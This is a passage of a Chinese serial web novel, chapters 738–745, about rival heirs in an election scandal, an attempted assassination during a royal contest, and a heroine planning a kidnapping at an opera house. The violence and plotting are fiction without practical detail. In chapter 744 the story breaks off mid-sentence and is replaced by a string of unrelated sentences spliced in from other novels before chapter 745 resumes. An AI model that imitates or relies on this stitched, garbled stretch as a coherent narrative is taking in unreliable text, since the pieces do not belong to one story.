见沈庄没有接话,沈兰晞又道,“爱而不能令,厚而不能使,乱而不能治,譬若骄子,不可用也。您已经给了他十年的机会了,可他并不感恩。” 沈庄眸光微动,落子将黑子送入白棋杀阵, “阿灵,去哪了?” 沈兰晞,“S国,他去见了沈年。” 沈庄闭了闭眼,“兰晞,你告诉老大媳妇,我同意沈年回国,媒体那边,该说什么不该说什么,希望她能好好斟酌。” …… 第739章 运气还在? 平湖别墅。 沈谦在第无数次听见电话那头的忙音后,终于忍不住摔了手机。 “岂有此理!” 沈渊看着脚下一分为二的手机,取下眼镜,捏了捏眉心,“大哥。阿灵还是联系不上?” 沈谦烦躁扯开领带,眼底满是阴郁,“我还真是小看了他们母子,枉我还费尽心思为阿年回来铺路,结果他们就是这么对我的。” 竞选当日爆出这样的丑闻,沈谦现在已经成了鲸港上流圈的笑话,别说总统之位,就是现在还能不能继续担任议员长一职都说不准。 因为姚歌已经有过太多次前车之鉴,沈谦现在对她的信任几乎为零,他根本不相信姚歌是自杀,那么恶毒的女人怎么可能舍得用自己的命换她儿子?保姆也说,姚歌原本只是假装纵火,但后来火势没控制住,最后假戏真做引火上身。 沈渊对沈谦的境遇表示同情,略微叹息摇了摇头,“哎,就是可惜了阿灵。姚歌这么一闹,也不知道阿灵的仕途会不会受到影响。还有,阿年,他将阿灵扣押在S国,也不知道安了什么心思,万一……” 沈谦脸色微变,眼里情绪瞬间变得凝重。 不行! 姚歌母子为了回国不择手段已经完全靠不住了,他现在唯一的希望就只剩阿灵这一个孩子了。如今沈归灵仕途正顺,连南湾上将都对他青睐有加,假以时日必成大器。 绝不能让阿灵出事。 * S国。 彩绘玻璃窗滤进的斑斓光影,在冰冷的石地板上投下迷离的图案。 沈归灵侧身坐在宽大的窗台上,半边脸浸在流动的光影里,半边隐在暗处。他微垂着头,额发遮住了些许视线,唇角那道新鲜的瘀伤在变幻的光线下显得格外刺目。 距今为止,他已经被沈年囚禁了半个月。 沈年这几年又积累了不少怨恨,每天都变着花样找他的麻烦,但沈归灵来之前就早有预见,日子也不算难熬。 “哒哒哒——” 轻微的脚步声由远及近,停在厚重的橡木门外。 钥匙转动,锁舌弹开,一个身形高大的男人端着餐盘走了进来,他没有抬头,只是把食物放在房间中央的矮几上又迅速退了出去。 片刻后,房门重新落锁。 沈归灵隐在暗处没有动,直到脚步声彻底消失,才缓缓抬眼,目光落在那份食物上—— 三明治、水果,还有一杯牛奶。 看来沈年是打算继续跟他耗。 他起身走到矮几前,拿起一块三明治不动声色地掰开,指尖探入柔软的夹层,触碰到一块极小的、被油纸包裹的硬物后迅速捏住,借着转身走向窗边的动作,用身体挡住屋里的监控。 他背对倾泻的光影,展开油纸。 上面什么都没写。 沈归灵笑了笑,抬手叼住手里的面包,慢慢咀嚼了起来。 来之前,他就料到沈年一定不会轻易放过他,所以他提前和莫然约定好了暗号。 如果半个月内,姚歌出现重大变故,就想办法给他送一张空白纸条,之所以什么都不写,一是为了防止信息落在别人手里泄露了情报,二是防止沈年诈他。 而他之所以甘愿被囚禁在这,等的就是眼下这个契机。 他之前就已经向沈年透露过沈谦有竞选总统的打算,以沈年的心性,一定不会错过这么好的机会,所以他一定会选在总统候选名单落定那天给沈谦一个大大的惊喜。 至于沈谦,在即将坐上权力王座的前夕被人拽下,就算是身边人和亲生儿子,他也一定不会原谅,这个时候,他只会想起他这个不争不抢的私生子。 所以,沈谦这次一定会不遗余力救他,只要沈谦派来的救兵一到,沈年的命就可以拿了,毕竟死在亲生父亲手上,这件事才能完美闭环。 沈归灵啃完半块面包,又觉得有些渴,随手端起牛奶喝了一口,有些嫌弃皱了皱眉。 该死的沈年,他都说了饮料只喝橙汁,竟然还每天都送馊了的牛奶…… * 围猎战场。 这次的比赛战况激烈,白冽带着一只白象小队占领了整个东城区,无论是片区还是资源都是最多的。 白蒂娜和李家兄弟合谋,拿下了东西两个片区,其他残存势力一并收缴,论人数是目前势力中的第一梯队。 最可怜的还要数白密,好不容易占领了北区,白冽和白蒂娜忽然联盟,左右夹击,打得他措手不及,眼看就要团灭,小镇忽然开启考察关卡。 所谓考察关卡是由女王钦定考官主持,但凡通过考官验证的小队,都能获得丰厚的物资和奖励,为此,白冽和白蒂娜也顾不上围攻白密,纷纷赶往北区教堂参加考验。 “咚——咚——咚——” 教堂的圣铃忽然响彻上空,三声终止,余音袅袅。 就在众人不明所以时,一群皇家侍卫手持长戟拉起了钢铁警戒线,将教堂区域分成了界内界外两个区域。 白密因为被围攻消耗了不少体力,好不容易赶到时,警戒线已经将教堂重重围了起来。 站在界内的人欣喜不已,被排除在界外的则是垂头丧气。 白蒂娜远远看见灰头土脸的白密,故意上前炫耀,“白密,你可别忘了,我们之前可是打过赌的,你要是输了,下次王室记者会,你可要当着全国民众的面给我学狗爬。” 白密嗤笑了一声,“所以你顶着堂堂王室身份去投靠李家那些蠢货?” “有用就行,你倒是有骨气,但结果呢?连个考验的门都进不来,真可笑。” 就在这时,侍卫长坤帕擎着王旗走到围栏前,长臂一挥,王旗倒向界限外。 “界外者留,界内者淘汰。” 话音一出,界内和界外的都傻眼了,等众人反应过来后,两极反转,界外势力忽然爆发出雷鸣的大笑。 白蒂娜满脸不可置信,怒道:“坤帕,你是不是举反了?” 坤帕往教堂塔楼看了看,面无表情摇了摇头,“没有。” 白蒂娜,“……” 白密虽然没明白怎么回事,但这种反转深得他心,他抬手用手背蹭了蹭沾着灰尘的下颌,漂亮的瑞凤眼肆意挑衅,“看来,我的运气还在。” * 与此同时,不远处的高塔。 傅绥尔透过三脚架望远镜正骂骂咧咧。 “这个白毛,一个警戒线都过不了,还得麻烦我改规则,看起来不太靠谱啊~” …… 第740章 宿命般的遇见 女王定下的规矩,教考区域除非教考内容,否则禁止械斗。 白密顺利进入下一轮考试,引得白蒂娜红眼病犯了,集结了东西城区半数的势力在教堂外埋伏。 “我就不信了,他能一直这么好运。” 李修见白蒂娜满脸郁色,隔着黑色的围网看向里面乌泱泱的人群,笑着安慰:“蒂娜你放心吧,咱们还有人在里面,白密嚣张不了多久了。” 他是李家的金孙,也是S国老牌的贵族,自小和王室成员一起长大,和白蒂娜也算青梅竹马。 白蒂娜双手抱胸,挑了挑眉:“谁在里面?” 她忽然想起一张银色面具,表情怪异:“就是那个沈家人?” 李修点头:“也算是机缘巧合,沈亦泽来晚了一步,也没有被拦在界限之外。” 白蒂娜:“以他的本事也不像是没能力进入界限的人,我看,是有人怕被抢了风头故意不准他过界吧?” 李修脸色微变。 白蒂娜看在眼里,眼睑微挑,勾着嘴角笑了笑:“放心,只要你们帮我赢了白密,我是不会多嘴。” 李修缓和了脸色,侧身看向高塔:“你知道这次的考官是谁吗?” 白蒂娜冷哼了一声:“祖母选的人,我哪知道?教考时间一天就结束了,白密被我们暗算,资源和人都没有了,等着吧,有他受的。” 顺利晋级人员由侍卫长领路,从教堂东门进入考场。 所谓的考场,就是利用教堂周围环境部署的战乱点。修女和牧师如往常一般还在教堂吟诵。 帕塔作为监考官助理,代表监考官发言:“十分钟后,这里将会遭受恐怖袭击,你们需要在教堂彻底沦陷之前,找出这里最宝贵的东西交给监考官。” 众人一头雾水。 “什么是最宝贵的东西?” 帕塔面无表情指着发问的男人:“叉出去!” 男人:“……” 有人看不过去:“为什么?” 帕塔摆摆手:“把他也带走。” 还有人想张嘴,立马被同伴提醒,赶紧捂住嘴巴。 白密皱眉,抬头看向教堂殿后的高塔。毫无逻辑的考察,上面到底是哪位考官?他之前收集的情报里,没有一位考官的性格能对上?难道是情报出了问题? 原则上在围猎之前考官的信息都是保密的,但这世界上根本就没有不透风的墙。女王授予的荣耀与军权有关,利益越高,牵扯的人就越多,而探查监考信息,甚至买通考官都成了不可避免的灰色操作。 白密的母亲是长公主,资源在S国自然是顶尖的。白蒂娜拿不到考官的资源,不代表他拿不到。 原本白拉曼已经买通了其中两位考官,但被白密知道后强行拒绝了,甚至以退赛要挟白拉曼,白拉曼迫于无奈只能退让。 眼下顺利晋级的大概一百多号人,所有人在休整的十分钟内迅速结盟,很快就分出了不同的阵营。 白蒂娜已经在界外放话,监考期间谁敢跟白密联盟必将追杀到底。现在白密一没资源二没人脉,众人畏惧白蒂娜的恐吓,没有人敢上前示好,白密转了一圈还是个光杆司令。 集结的人群中,夏星沉穿着黑色迷彩服,脸上带着银色骷髅面具,正蹲在地上,慢条斯理整理鞋带。 身边的同伴一直在用S语沟通。 “你们说,什么是最宝贵的东西?” “宝石?或者黄金?” “应该没有这么简单……” 几人商量无果,相互使了个眼神,蹲下身假装系鞋带将夏星沉围了起来,用手指打暗号: -“喂,A国人,修少爷可交待了,不能让白密那小子好好走出去,待会儿我们要去找东西,人就交给你了。” 夏星沉垂着眼睑,淡淡点了点头。 几人见他这么好说话,一脸得意站了起来,继续用S语沟通。 “就靠他一个人行不行啊?” “管他行不行,白密毕竟是王室正统,得罪了他我们也不会有好下场,这个外国人正好可以拿来挡刀。” “咚——咚——咚——” 沉重的钟声猝然撕裂了暂时的平静,三声闷响如同丧钟,狠狠撞在每个人心头。帕塔的身影早已消失,取而代之的是四面八方骤然响起的轰鸣声! 上空僚机盘旋,投下一颗颗冒着白烟的烟雾弹。穿着皇室士兵制服却佩戴着恐怖分子标志臂章的身影从暗处、屋顶、阴影角落蜂拥而出,精准地封锁通道,制造混乱。 考验正式开始。 “快跑!” 不知是谁吼了一声,原本泾渭分明的联盟瞬间炸开,人群如同被惊散的蚁群,在硝烟弥漫的教堂庭院和回廊中四散奔逃。 “找东西!分散找!” 圣洁的教堂瞬间沦为战场,修女的祈祷声被刺耳的警报和模拟的枪声彻底淹没。 白密在钟声响起的第一秒就动了。 他像一道闪电,凭借着对教堂结构的熟悉和惊人的速度,险之又险地避开了一队“恐怖分子”的正面拦截。 混乱中,几道身影却并非冲向所谓的“宝贵物品”,他们的目标异常明确,目光锐利地扫视着每一个角落。他们彼此交换着眼神,快速穿梭于混乱的战场,迅速发起围捕。 “砰——砰——” 子弹穿过耳侧,弹道擦着气流飞速闪过。 白密脚步一怔,盯着墙上留下的触目惊心的硝烟痕迹,眸光暗了几分。 是真枪。 但是围猎不允许用真枪,都是杀伤力不足的气枪。 有人想趁乱杀他。 白密的心沉到谷底。白蒂娜没有这个胆子,到底是谁?白冽?还是另有其人?他眼神一厉,不再犹豫,猛地撞开一扇不起眼的侧门,冲进了光线昏暗的圣器储藏室。 可就在这时,储藏室门口走出一道黑影。 战火纷乱不断地纷扰中,白密还是捕捉到了一声几不可闻的子弹上膛的卡扣声,他立马顺从本能侧摆身体。 “砰——” 昏暗中一簇火光飞射而来,穿过了他的肩膀。 白密闷哼了一声,死死捂着左肩的伤口,转身向身后的甬道跑去。 夏星沉从暗光里走了出来,垂眸看着地上的血渍,不急不慢沿着血迹的方向追去。 白密利用熟知地形的优势,从甬道绕了一圈又绕回了储藏间。他原本想绕去教堂后的高塔找监考官求救,但出口被刚刚那群人封住了,他现在彻底成了围困之兽。 “快,去看看那边有没有?” 门外传来了压低的、带着杀意的催促声,脚步声迅速逼近储藏室的门! 情急之下,白密顾不得许多,目光扫过那些沉重的木柜,猛地拉开其中一个稍显陈旧的柜门,毫不犹豫地钻了进去。柜内空间狭小逼仄,浓重的灰尘味和布料特有的气味瞬间将他包裹。 他屏住呼吸,侧耳倾听,心脏在胸腔里狂跳,几乎要撞碎肋骨。伤口的疼痛此刻异常清晰,温热的血珠沿着手臂滑落,滴在柜底的木板上,发出几乎听不见的细微“嗒”声。 夏星沉盯着储藏室那扇在混乱气流中微微摇晃的木门,眼神锋利如淬了寒冰的刀锋。血迹到这里骤然密集,目标必然就在里面。 他指腹无声地摩挲着枪柄冰冷的纹路,正准备抬脚踹开这扇碍事的门—— “储藏间已被监考官征用,擅闯者,死。” 身后忽然响起一道清脆悦耳却不容置疑的女声。 …… 第741章 从天而降的好运 这声音如同冰锥,瞬间刺穿了储藏室门口沉闷的硝烟与血腥气,狠狠扎进了夏星沉的耳膜。 他整个人猛地僵住! 一股难以言喻的、混杂着巨大冲击的错愕直达头皮,夏星沉几乎是有些僵硬地、极其缓慢地转过身。 光线昏暗的甬道尽头,逆着从破损彩绘玻璃透进来的、染着烟尘的斑斓光晕,站着一位少女。 低马尾,一身剪裁利落、线条冷硬的黑色考官制服,衬得她身姿窈窕挺拔。 她的面容精致得近乎不真实,一双净如琉璃的黑眸此刻正波澜不惊地看着他。 是她?! 夏星沉面具后的瞳孔微微动荡,看着她一步一步向自己走来,他默默屏住呼吸,垂眸避开视线。 傅绥尔的目光只是在他身上停留了一瞬,那眼神淡漠得如同在看一件无关紧要的摆设,随即移开看向地面的血渍。 “爷爷如果看见你这样,一定会伤心的。” 夏星沉心知她只误会了他的身份,沉默片刻收起了手里的枪。 傅绥尔抬眸,看向夏星沉的眼睛。夏星沉唯恐泄露了秘密,转过身背对着她。傅绥尔只觉眼前的人有些怪异,但又说不上哪里怪,淡淡道:“阿泽哥,阿杰哥的事你应该回去听听爷爷的说法,而不是听信你父亲的一面之词。堂堂A国名门,到了S国竟然连面都不能露,你父亲就是这么栽培你的?” 夏星沉低着头,没有应答。 这一幕落在傅绥尔眼中,确有逃避之嫌。 她的声音多了几分怒意:“是谁指使你暗杀白家王室的?沈澈?他到底想做什么?你知不知道,要不是我支开了皇家侍卫,一旦白密出事,你们所有人都跑不掉。” “你说句话!” 傅绥尔几番追问没有得到回应,耐心耗尽,一把抓住夏星沉的手腕:“我不相信沈家人甘愿做别人的走狗,你是不是有苦衷,如果有……” 不等她说完,夏星沉反应强烈,像躲避什么可怕瘟疫一把甩开傅绥尔的手,掉头隐入了白烟中。 “……”傅绥尔怔在原地,一脸错愕看着烟雾里的黑影,“跑什么?” 不过她现在也顾不得沈亦泽了,当务之急是完成衫衫布置的任务。 傅绥尔推开储藏室的门,钻进去后不到半分钟又跑了出来。 “大人!” 就在这时,一道沉稳浑厚的声音自身后响起。 坤帕带着一支皇家侍卫从另一边的甬道口快步走了过来,他迅速扫视了一眼地上尚未清理的血迹,沉声道:“围堵白密殿下的那群人已经全部收监,我现在要把殿下带回去疗伤。” “不行!”傅绥尔想也没想当即拒绝。 “为什么不行?这群人意图明显,我们必须优先保证殿下的安全。”坤帕眼神不善,即便有孔茂林作保,皇家侍卫长也不会听从一个外国人指使。 那当然是因为现在把白密带走,她就传不了消息了。 傅绥尔眼神飘了一下,抬头挺胸:“我现在是这一轮的考官,在这,除了女王,就是我的权限最大。我问你,带白密回去是你的意思,还是女王的意思?” 坤帕愣了愣,有些没反应过来。 傅绥尔立马摆出考官的姿态,严肃道:“坤帕,你忘了这场教考的意义是什么了?温室里的花朵,经不起真正的风雨。若这点伤痛都熬不过去,日后如何面对王座下的刀光剑影?如何承担起一个国家的重担?” 坤帕只是一个侍卫,哪懂这些,瞬间被唬得一愣一愣。 傅绥尔昂首挺胸,将立意拔高:“只有真正的磨难,才能打磨出真正的心智。连这点危机都无法自己化解,他又凭什么资格去争取女王陛下的认可,去执掌军权?让他自己想办法止血,想办法活下去,想办法从这里走出去!这才是他该经历的‘考试’!” “你不妨再等等,看看女王的意思。” 坤帕有些动摇:“可殿下的安危……” “贴上标识,禁止入内,在女王回应之前,这样足够安全了。” 傅绥尔是这一场的主考官,所以,即便她是外国人,她的意见帕坤也不能完全不理。 犹豫片刻,他点了点头,指挥皇家侍卫将储藏区围了起来。 傅绥尔见目的达到,未免引起怀疑,她不敢逗留,转身回了高塔。 而此刻,狭小木柜内,白密对外面发生的事一无所知。他死死捂住伤口,在浓重的灰尘和布料气味中,努力分辨着外面死寂的动静,心悬到了嗓子眼。 墙上的弹痕这么明显,皇家侍卫按理应该早就要找过来了。 但生死一线,谁也不知道下一秒推开柜门的是杀手还是援兵。 白密思忖片刻,推开柜门爬了出来。 不管什么时候,他的生死都只能掌握在自己手里。 “啪叽——” 脚尖落地,忽然踩到什么东西,他垂眸看了一眼,不可一世的眼神瞬间呆滞。 他……踩中一本书,这本书的封面用绿色的荧光笔,写着“最宝贵的东西”…… 这字,还是A国字。 白密:“……” …… 第742章 导演预热 鲸港,上虞御前私人会所。 包间内灯光昏暗暧昧,鼻尖隐隐萦绕着奢靡诱惑的甜香。 坐在鳄鱼皮沙发里的男人微微有些局促,手心蓄汗,眼神尴尬地瞟向对面的少女。 “姜……姜小姐,您有什么吩咐?” 男人代号扑克,是沈眠枝手下的人,受沈眠枝之命全力配合姜花衫,听她调度。原本扑克以为千金小姐要求的任务不过就是当当保镖,或者找找谁的晦气,不想姜花衫竟然直接把他约到了牛郎店。 干他们这一行,A国的灰色产业基本都知道,虽然外面的招牌挂的是娱乐会所,但瞒不过他的眼睛。 这位姜小姐把他叫来,什么话都不说,一双眼睛从头到尾、从上到下已经把他盯了个遍。扑克早听说这些千金圈玩得挺花,正犹豫要不要提醒这位姜小姐,他卖艺不卖身,对面的姜花衫终于开口了。 “你耐力怎么样?” 果然。 扑克顿时警铃大作,绷紧一张扑克脸,“还……还行。” “技术呢?我可是跟你家堂主说好的,我要技术好的。” 扑克眉头几乎快要拧成麻花,也没比较过,不知道好不好啊。想着沈眠枝的治下之严,他又有些不敢得罪,只得给了个折中的回答,“她们都说我……稳定性不错。” “稳定?稳定好。”姜花衫立马予以肯定,又道,“一个人不够,这件事必须绝对保密,你还有没有人选?” 还是多人游戏?扑克看向姜花衫的眼神越来越古怪,“您需要多少人?” 姜花衫,“越多越好。” “……”扑克有些犹豫,“这……姜小姐,这会不会不好啊?其实,干我们这行虽然是上不了台面,但还是有尊严的。大小姐说了,以后我们都可以转正,拿的是正经工资。” 姜花衫挑眉,“怎么,我让你绑个人就不正经了?还没当上保镖就想着要保家卫国了?” “绑……人?”扑克猝不及防地愣住。 姜花衫从包里拿出一张手绘的建筑平面图纸递给他。 “这是鲸港歌剧院的内部图纸,我们的目标是这里,多功能厅。我需要你安排几个人手,在明天芭蕾舞剧开演时混进鲸港歌剧院,然后潜藏进多功能厅的天花板格栅。” 姜花衫的指尖点着图纸对应的位置。 扑克脸色沉重了几分,点了点头,“这倒不是难事。” 姜花衫,“枝枝说你还是个电脑黑客,所以切换信息源,侵入视频端口你应该不在话下吧?” “问题不大。” “好。”姜花衫点头,“之后的事就简单了,在里面躺三天。三天后,谁在那个演讲厅演说,你们就绑架谁。我可提醒你,必须带上最精良的装备,因为那天的护卫也不是吃素的。” 为了防止出现纰漏,必须最大程度禁食,否则若在关键时候掉链子,整个展厅都会闻到异味。这也是为什么姜花衫要求体力好——得在格栅里待三天。 随后,姜花衫又着重交代了几个细节。 “我说的这些你必须牢记在心。其他的,到时候我会通过远程操作告诉你该怎么做。我再强调一次,这次的任务必须绝对保密。既然你是枝枝推荐的人,我不疑你。至于其他人,你务必一一把关。” 扑克听得一愣一愣的,在确认她不是开玩笑时,神情变得严肃起来,“姜小姐放心。” “这张图好好看,务必全都背下来。这是一副加密的耳机,你拿着,顺利进入后我们再联系。” 姜花衫又细细复盘了一遍,确认没有遗漏后才站起身,“就这样,我先走了。” “我送您。” 扑克正要起身,却被姜花衫拦了下来,“不用了,也不看看这是什么地方,你和我一起出现,不是摆明了让人起疑吗?我出去一个小时后你再出来。” 这才是正经大小姐啊!扑克一想到自己刚刚误会了姜花衫,不免有些心虚,“是。” 等姜花衫出了房间,扑克又将整个任务细想了一遍,觉得还是有必要知会沈眠枝一声。毕竟人是从沈眠枝的堂下调出的,万一惹了什么麻烦,沈眠枝也好提前应对。 打定主意,扑克立马拨通了沈眠枝的电话。 那边似乎有什么事,电话响了许久才有回应。 “什么事?” “堂主,是关于姜小姐,她……” “扑克,衫衫那边的事不需要来请示我。”沈眠枝的声音不冷不淡,“你照她的吩咐做就行。” 说完,那边就挂了电话。 鲸和医院。 “你在和谁打电话?” 沈眠枝刚挂了电话,冷不丁听见后面传来周宴珩的声音,眼眸微微颤动。片刻后,她强行压下异样,若无其事地转过身,一脸惊喜,“阿珩哥,你醒了?” 姜花衫下手够狠,导致周宴珩伤情加剧,两只胳膊重新缝了针。这一变故让周国潮勃然大怒,但把整个医院翻了个遍都没有查到一点线索。尤其周宴珩对这件事也是三缄其口,周国潮无奈,只能勒令他禁足休养。 禁足期间,除了几家交好的世家,任何人不得探视。 周宴珩直接忽视她眼里的惊喜,又问了一遍,“你刚刚在跟谁打电话?” 沈眠枝嘴角的笑意略有收敛,“是……暗堂的电话。爷爷为了考验我,现在沈家暗堂一些事宜都是我在打理。” 说完,沈眠枝悬着的心彻底死了。这已经牵扯到了家族私密,按理是不能说的,可是她就这么不受控制地和盘托出了? 倏尔,沈眠枝又想到了昨日姜花衫对她说的那句“现在的你不适合”。难道她早就预料到自己会如此不受控,所以故意瞒着她? 周宴珩眸光微闪,有些诧异地打量沈眠枝。关鹤对他知无不言他并不觉得反常,可沈眠枝如此实在有些出乎意料。 “你打理沈家暗堂?沈爷爷这是打算让你继承父业?” 沈眠枝知道自己不能抗衡,虽又不甘,也只能暂且忍耐,遂点了点头,“嗯。阿珩哥,我并不比……” 周宴珩对沈眠枝的事没有兴趣,冷冷打断她,“我刚刚听见你提到了姜花衫的名字。” 他现在身体的某个部位疼得厉害——拜姜花衫所赐,他被推入抢救室的第一件事就是被扒了个精光,一群男科专家围着他病床前研究他的…… 沈眠枝眼里的微光渐渐湮灭,虽然极力克制,但还是肉眼可见地冷了下来。 “阿珩哥,你好像很在意衫衫?” “所以呢,你受不了?或者你现在走还来得及。” 周宴珩并不在意她看出什么。他只是觉得沈眠枝有趣,留在身边聊胜于无,但并不代表她已经重要到可以干涉他的喜好。尤其是每次在见过姜花衫之后,那种得不到的对抗感让他根本看不见别人。在这件事上,他并不打算委屈自己降低享受。 沈眠枝指尖微微收缩,片刻后,咬牙咽下了这口气,“昨天衫衫问我借人,我调了几个人过去,刚刚是暗堂的回执电话。” …… 第743章 不谋而合 “她问你借人做什么?做什么?”周宴珩问得漫不经心。 沈眠枝的思绪忽然一片混乱。 另一个清醒的自己告诉她不能说,但还有个疯狂的意识一直在愤怒地咆哮: “姜花衫凭什么不费吹灰之力就夺走了阿珩哥的主意?她明知道你喜欢周宴珩,却还是不知检点地勾引你喜欢的人!你把她当好姐妹,暗堂的资源任她用,可她呢?她把你当好姐妹了吗?” 沈眠枝缓缓抬眸,淡淡道,“她的事,如果阿珩哥想知道,大可自己去问,我还没有大度到为你们之间互通消息。” 说完,眼底泛起了猩红,沈眠枝转头跑出了病房。 恰巧这时,关鹤推门走了进来。 沈眠枝一把撞开他的肩膀,关鹤不防,身体后仰,腰侧冷不丁撞上尖锐的门把手,疼得原地嚎出了鹅叫声。 “沈眠枝!!!” 关鹤回身抓了一把空气,但沈眠枝早已不见人影。关鹤气得牙痒痒,用力关上门。 “沈眠枝疯了?”他扶着腰,气鼓鼓地走到病床前。 周宴珩并不在意沈眠枝的去留,脑子里现在只有姜花衫调度暗堂的事。他早看出姜花衫不是省油的灯,但研究了许久,还是看不懂她的做事风格。 “跟你说话呢?” 关鹤看着周宴珩浑身缠满的绷带,顿时更加上火,“艹!姜花衫那个狗东西,竟然把你害成这样?” 别人不知道,但关鹤昨天可是一直守在周宴珩身边的,自然知道他去见了谁。 “要是我早知道她能把你打成这样?我当初说什么都不会同意你去见那个祸害的!我现在算是看清楚了,姜花衫就是灾星,谁碰谁倒霉!” 周宴珩懒得听他唠叨,“你来就是说这些废话的?” 关鹤被这一句话堵得不上不下,顿时暴跳如雷,“怎么,我说她一句你就不爱听了?这是打出感情来了?阿珩啊,你就听我一句劝吧,姜花衫那狗东西邪门,别招惹她了。你自己数数,她这是第几次打你了?你再想想,你从小到大,谁这么打过你?” 周宴珩皱眉,“这件事你别管。” “……”关鹤小声嘁了一声。 周宴珩抬眸,一双黑眸又冷又沉,“听见没?” 关鹤神情微动,不甘心地应了一声,“知道了。你爷爷问我的时候,我可一个字没敢说。不过,那死丫头下手也是够狠的,你……”他目光下移,盯着周宴珩身上某处,“听说昨天急救了三个小时,现在怎样?影不影响使用啊?” “……” 这事提不得,周宴珩脸色微白。要不说姜花衫狠,沈归灵打伤他四肢命悬一线,还不如她昨天那致命一脚,那是光想想就会引发生理性障碍的灭顶之痛。说实话,他自己都没有把握到底有没有被影响。 这个话题,对男人来说过于沉重了一点,气氛忽然凝固。 关鹤秒懂,脸色沉重地拍了拍他的肩膀,“别怕,这个事我有经验,要不,我替你安排……” 周宴珩闭了闭眼,“没事就滚。” “懂懂懂,我不说了还不行。不过……你切记讳疾忌医,早发现早治疗,知道不?” 周宴珩额角抽动,隐隐有动怒的前奏。 关鹤立马变脸,严肃道,“我想起来了,有事!正事!天大的正事。” “我爸爸已经私下打探到了余斯文的计划。原来他在上任期间,和S国的几家公益企业签订了一条慈善联盟协议,而余笙便是这个慈善机构的形象大使。” “这家慈善机构帮助的都是妇女和幼童,在国际享有盛名。如果余笙真成了这家机构的全球形象大使,那公众之前对她虚假人设的质疑将不攻自破。而余斯文为A国妇孺创造的公益,会让他的口碑迅速回温。” 还真是正事。周宴珩脸色缓和了下来,“你之前说,你父亲安排了人打算在余笙的澄清会上攻讦余笙。如果是这么大的利好消息,只怕反而会成为对方的助力。” 关鹤点头,“没错。而且据新一轮数据显示,余斯文在东湾的支持率隐隐有回温的势头。之前南湾那些力推沈谦的资本,也有一大半选择了余斯文。这么看来,这一盘死水还真有可能被余家盘活。” 周宴珩垂眸,细想了片刻,摇了摇头,“支持率这么快就反弹,实在有些蹊跷。” 关鹤眼睛一亮,“对,我爸也是这么说。余家身后并没有大的财阀家族做靠山,但众所周知,大选是A国最烧钱的政治选举,余家哪来的钱?所以……我爸说,要不,就是余斯文背后有高手指点,我们大家都被瞒在鼓里;要么……” 周宴珩笑了笑,“要么,就是他在职期间以权谋私,积累了见不得光的财富。若是前者,必须把这背后之人先找出来,不然连对手是谁都搞错,这局赢不了。” “如果是后者,这就好办多了。A国把前总统送进监狱的案例还少吗?” 关鹤点头如捣蒜,“对对对!我爸就是这么说的。” 周宴珩挑了挑眉,“我可没有你这么大的儿子。” “呸!”关鹤抽了自己一嘴巴,扑上前拉着周宴珩,“我就知道你脑子好使!你帮我想想,我现在做什么能帮上老头儿?我必须要让他知道,我对这个家的贡献,可不止捐J这么简单!” 周宴珩一脸晦气地抽出手,几乎没有想,脱口而出,“想办法知道余笙三日后会在哪里演讲,把她绑走制造新闻爆点。然后再利用慈善机构这件事作为热点聚焦。悠悠众口,只要这个机构有一点水分,余家的把柄就找到了。” …… 第744章 被偏爱的都有恃无恐 S国。 “咚——咚——咚——” 空旷的钟声再次在教堂上空回旋。经过一天一夜的厮杀,竞选人已经淘汰了三分之二,躲到最后的人终于长舒了一口气,拿着各自以为的‘宝贵’物品排队验证。 “诶,你的‘宝贵’物品是什么?” “不知道啊,我地上随便捡了个树枝,就这么着吧?万一我就是那天命之子呢?” “……别想了,看见隔壁那个外国人吗?他竟然还救下了 豆豆翻白眼:“他三十四了好不,哪里有这么嫩。”老男人一个,居然还这么有魅力。 但不知怎么的,他仿佛又有直觉,好像哪里有陌生,有着淡淡的圣洁清冷吗?虽然并没有任何表现出,就是说不上来。 惠城知府在挨了十大板之后,已经浑身没了力气,被沈明轩的人给拖着带回来时,直接就给扔在了地上。 “这不是洛安侯夫人吗?怎么,不去找你的好姐妹柳明月吗?”林初夏说道。 “既然是这样的话,那么我走,现在就走。”为什么叶辉哥哥的语气那么的平淡,一丝感情都没有,那么自己不值得他挽留吗? 王戟一挑千军破,凛声高喝,武元爆冲。挥戟一划,竟是摧天裂地的一击。 短暂的将自己的来意表明后,穆子羽开始了安静的等待,这件事情能不能成功还是一个未知数。 看着放在茶几上面,足足六捆钞票,六个放逐者都被彻底惊呆了。 沈明轩一定是出事了,不然他是不会这样做的,表面上装得如此绝情,可太后知道他的性子,怕是轩王府已经遇到了什么危险。 楚玺正躺在看着天花板,双手放在自己的脑袋下面,还真的好像是在想这个问题。 李岩想了想,觉得还是不太可能,也许这食兽草只是跟含羞草的原理差不多,对外界有敏感性。 众神魔开心雀跃,却没有发现,星空之池中那撕裂的空间边缘,有点点银光一闪而逝,仿佛一双眼睛。 瘦高个一看同伴败下阵去,知道自己不是熊虎的对手,闪身跳到一边投降认输。 如果这洞府的主人不过是炼气、筑基的修为的话,却能保住九尾天狐的后裔,那修真界的整体实力将衰落到了一种什么水平? 无论桑若躲到哪里,这人偶街道似乎总是能迅速找到,随着桑若的领域被人偶街道破坏的越来越零散,那些人偶们也越来越肆无忌惮,但是这时候,桑若却捕捉到了一丝声音悄悄在暗中传递。 从武陵地区抵达淮州的军事基地并没用多久,旋即飞机返航,秦尘和董晓杰一干人等在乘坐了基地军用吉普返回了市区。 但,如今她的爹娘,她的大哥,她不想让自己的家人受到一丝一毫一丁点儿的污蔑,是以,虽然她不在乎这些,但是她也要避讳的。 春芬哪里知道里面究竟写了些什么,她听阿良这么一说,脸色顿时涨得通红,一时竟是吱吱唔唔地说不清楚。 谢姝继续把玩这手中的棋子,脑海之中思量着事情,圆圆的双眸看着自己所下的棋盘。 隔天, 淮真一大早起床, 在雾蒙蒙的天光里头, 看见昨夜染脏了的锦缎与绒布已经洗的干干净净。淮真凑近一闻, 闻到了强力去污的拉瓦皂的味道。 “看来将军早有准备?”看到我的动作,墨可盈面无表情淡淡说道。 经过这一茬之后,秦瑾瑜和魏清淮没有再遇到阻碍,畅通无阻地来到了专门停着马车的地方。 第745章 明牌的奔赴 沉重的木门在身后缓缓合拢,隔绝了外界残留的喧嚣与血腥气。教堂内部的光线骤然昏暗下来,唯有高处彩绘玻璃窗透进几缕稀薄的、被染成瑰丽色彩的晨光, 围猎比赛历年来的规矩,每一轮考验胜者只能有一个,所以,为了公平起见,由考官出题再加试一场。 白密和夏星沉一左一右分别坐在祷告的木椅上等候着最后一场考验。 气氛严肃沉闷到了极点。 片刻后,坤帕带领一队皇家侍 